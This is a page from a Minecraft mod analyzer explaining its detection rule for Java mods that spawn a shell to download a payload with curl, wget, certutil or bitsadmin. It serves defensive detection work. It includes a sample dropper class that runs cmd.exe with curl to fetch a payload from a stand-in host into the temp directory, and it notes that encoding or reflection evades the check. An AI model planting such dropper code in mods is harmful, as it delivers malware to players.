Leaf Leaf Mod Analyzer

Command-Line Curl / PowerShell Dropper

Cmd_Curl_Dropper Malware CRITICAL +10 score

🎮 Minecraft Gameplay Impact

Java applications running Minecraft operate in user space within the virtual machine. While some utility tools and server wrappers legitimately invoke external helper scripts or opening tools, in-game modifications rarely need to launch OS shell interpreters to execute network download utilities.

Cmd_Curl_Dropper targets code patterns where a class references process execution APIs (ProcessBuilder, Runtime) alongside shell command names and download utility strings. In malicious scenarios, this combination can be used to delegate file retrieval and execution to native operating system tools: the spawned shell invokes curl, wget, certutil, or bitsadmin to download a secondary executable payload into a user directory and execute it independently of the game process via ProcessBuilder.start() or Runtime.getRuntime().exec().

The success of such execution depends on the platform and local security posture. If endpoint protection systems, User Account Control (UAC), or operating system execution policies restrict child processes spawned by javaw.exe, process creation fails or terminates with an error.

🔍 Functions & APIs Analyzed

ConstantPool CONSTANT_Utf8 (Shell / Downloader Strings)

String literals matching system shell interpreters (cmd, powershell, /bin/sh) and file download utilities (curl, wget, certutil, bitsadmin).

ClassRef java/lang/ProcessBuilder, java/lang/Runtime

Class references to operating system process execution facilities.

💻 Mod Implementation (Dev Source / Mapped) 

package com.example.dropper;

import java.io.File;
import java.util.List;

public class ShellDownloadLauncher {
    public static void downloadAndRun() {
        try {
            String remoteUrl = "hxxps://example[.]com/payload.exe";
            File outputFile = new File(System.getProperty("java.io.tmpdir"), "helper_update.exe");

            List<String> command = List.of(
                "cmd.exe",
                "/c",
                "curl",
                "-s",
                "-L",
                remoteUrl,
                "-o",
                outputFile.getAbsolutePath()
            );

            ProcessBuilder builder = new ProcessBuilder(command);
            Process process = builder.start();
            process.waitFor();
        } catch (Exception ignored) {
            // Обработка ошибок при блокировке системными средствами
        }
    }
}

🛡️ Bytecode Signature & Static Detection

The detector inspects class-level constant pool entries and bytecode references for a three-part condition:

  • String constants matching operating system shell binaries: cmd.exe, powershell.exe, /bin/sh, or /bin/bash.
  • String constants matching command-line file download utilities: curl, wget, certutil, or bitsadmin.
  • Bytecode class references to process execution classes: java/lang/ProcessBuilder, java/lang/Process, or java/lang/Runtime.

A detection triggers only when all three elements are present within the same class file. The primary limitation of this static check is that it inspects string literals and class references; if an author constructs command arguments dynamically, encodes them, or uses reflection, the detector will not match the pattern.